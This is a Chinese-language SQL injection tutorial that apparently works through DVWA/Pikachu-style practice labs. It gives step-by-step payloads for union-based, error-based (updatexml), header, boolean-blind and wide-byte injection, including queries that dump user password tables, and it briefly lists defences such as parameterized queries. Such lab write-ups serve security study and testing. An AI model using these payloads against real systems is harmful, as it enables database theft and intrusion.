Sql Inject(SQL注入)概述
哦,SQL注入漏洞,可怕的漏洞。
在owasp发布的top10排行榜里,注入漏洞一直是危害排名第一的漏洞,其中注入漏洞里面首当其冲的就是数据库注入漏洞。
一个严重的SQL注入漏洞,可能会直接导致一家公司破产!
SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。
在构建代码时,一般会从如下几个方面的策略来防止SQL注入漏洞:
1.对传进SQL语句里面的变量进行过滤,不允许危险字符传入;
2.使用参数化(Parameterized Query 或 Parameterized Statement);
3.还有就是,目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了"拼接"的方式,所以使用时需要慎重!
数字型注入
burp抓取请求:
提交payload:and 1=1#(#为终止符号,后面代码不执行)判断返回是否有差异:
提交payload:order by 2 #判断返回是否有差异:
提交payload:union select 1,2 #判断可显示数据的位置:
提交payload:union select version(),database() #判断数据库版本、数据库名:
提交payload:union select version(),user() #判断数据库版本、用户名:
提交payload:union select 1,group_concat(table_name) from information_schema.tables where table_schema=‘dvwa’#获取表名:
提交payload:union select 1, group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=database()#获取列名 :
提交payload:union select user,password from users#.获取数据:
字符型注入
burp抓取请求:
提交payload:’ or 1=1 #判断返回是否有差异:进行url编码:
提交发送:
找到注入点,按照上述方法继续进行注入。
搜索型注入
burp抓取请求:
找到注入方式payload:k%’ and 1=1#(burp中右键url特殊字符编码):
判定找到注入点,按照方法继续进行注入。
xx型注入
源码(后面多了个括号):
提交payload:kobe’)and 1=1#
后面照常
"insert/update"注入:
insert注入
源码,很明显注册的时候使用的是insert语句,由于insert没有回显,所以只好使用报错注入:
抓取请求包:
修改请求包,利用报错注入添加payload:admin’ and updatexml(1,concat(0x7e,(select database()),0x7e),1) or’
然后就是替换database(),查询其他数据
查询表
username=admin’ or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1) or’&password=111&sex=11&phonenum=111&email=1111&add=11111&submit=submit(1为从第一位开始,31显示31位)
下面查询的长度超出updatexml函数的显示范围了(显示32个字符),需要在payload中加substr()函数来把剩下的字符显示出来,拼接起来就是查询出的数据
username=admin’ or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),32,31),0x7e),1) or’&password=111&sex=11&phonenum=111&email=1111&add=11111&submit=submit
查询user表的列
username=admin ’ or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’),1,31),0x7e),1) or ‘&password=111&sex=11&phonenum=111&email=1111&add=11111&submit=submit
查询users表中password列的数据
username=admin’ or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,’;’,password)) from users),1,31),0x7e),1) or ’ &password=111&sex=11&phonenum=111&email=1111&add=11111&submit=submit
update注入
同理:
抓取请求包:
找出报错方法:单引号报错
构造payload:’ and updatexml(1,concat(0x7e,(select database()),0x7e),1) or’
获取其他数据方式参考insert注入方式
delete注入
burp抓包,添加payload:902 and updatexml(1,concat(0x7e,(select database()),0x7e),1)
burp对payload编码:
获取其他数据方式参考insert注入方式
http头注入
对端口无法注入,通过信息可以看出可以从IP,agent,accept尝试:
对IP尝试失败,agent,accept尝试成功:
添加payload:’ or updatexml(1,concat(0x7e,database()),0) or’1=1
获取其他数据方式参考insert注入方式
基于boolian的盲注
添加payload:‘and 1=1#burp中进行编码
进行下述操作获取数据:
1.判断数据库长度 数据库长度=4
1’ and length(database())>10 # X
1’ and length(database())>5 # X
1’ and length(database())>2 # X
1’ and length(database())=4 # V
2.判断数据库名称,单一字符进行测试 dvwa
1’ and ascii(substr(database(),1,1)) > 64 # V
1’ and ascii(substr(database(),1,1)) > 100 # X
1’ and ascii(substr(database(),1,1)) > 90 # V
1’ and ascii(substr(database(),1,1)) > 95 # V
1’ and ascii(substr(database(),1,1)) = 100 # V
1’ and ascii(substr(database(),2,1)) > 64 # V
1’ and ascii(substr(database(),3,1)) > 64 # V
3.猜测表名
1’ and (select count(table_name) from information_schema.tables where table_schema=database())=2 # 判断数据表的数量
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103 # 猜测数据表字符,一个字符一个字符的猜,猜完一行再猜零一行
4.猜字段名
1’ and (select count(column_name) from information_schema.columns where table_name= ‘users’)=8 #
5.猜数据
1’ and (select count(last_name) from dvwa.users)=8 #
1’ and (select last_name from dvwa.users limit 0,1)=8 #
基于时间的盲注
利用sleep函数,通过查看浏览器反应时间判断注入是否正确:
宽字节注入
宽字节注入是利用mysql的一个特性,mysql在使用GBK编码的时候,会认为两个字符是一个汉字(前一个ASCII码要大于128,才到汉字的范围)
方法:由于魔术引号的存在,将单引号前面填充一个反斜杠转义,但如果是GBK编码的话,在单引号前面加%df吃点反斜杠即可:
判断存在注入:
查询数据库;